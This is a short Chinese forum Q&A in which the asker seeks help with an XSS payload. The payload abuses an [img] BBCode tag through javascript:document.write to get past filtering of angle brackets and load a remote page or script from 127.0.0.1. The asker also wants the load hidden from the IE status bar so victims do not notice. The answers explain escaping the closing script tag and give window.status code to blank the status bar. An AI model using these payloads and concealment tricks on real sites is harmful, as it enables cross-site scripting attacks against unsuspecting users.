大家一起帮我研究下这一行跨站代码.

Question

等同于<img src=http://www.baidu.com/1.gif></img>
过滤了 < 和 > 符号下面这个是我写的变形..[img]javascript:document.write("[img]http://127.0.0.1/xss.asp?id=1%3E[img]");[img]意思就是加载这个页面.---------------------------------------------但是有个问题,IE浏览器状态栏上会显示 : 正在显示图片 http://127.0.0.1/xss.asp?id=1...这样会容易发现.如何修改让它在状态栏上不显示呢? 或加载完毕.另外想问下如何在这段代码里面插入一个js呢.例如:[img]javascript:document.write("<script%20src=http://127.0.0.1/1.js%3E</script%3E");[img]但是遗憾过滤了 < > 符号.喜欢高手帮忙下.

Answer 1

document.write的时候</script>要写成<\/script>
不然HTML会把其当成闭标签处理.前面那个问题好像有点擦边...

Answer 2

修改状态栏
window.status = window.defaultStatus = ' ';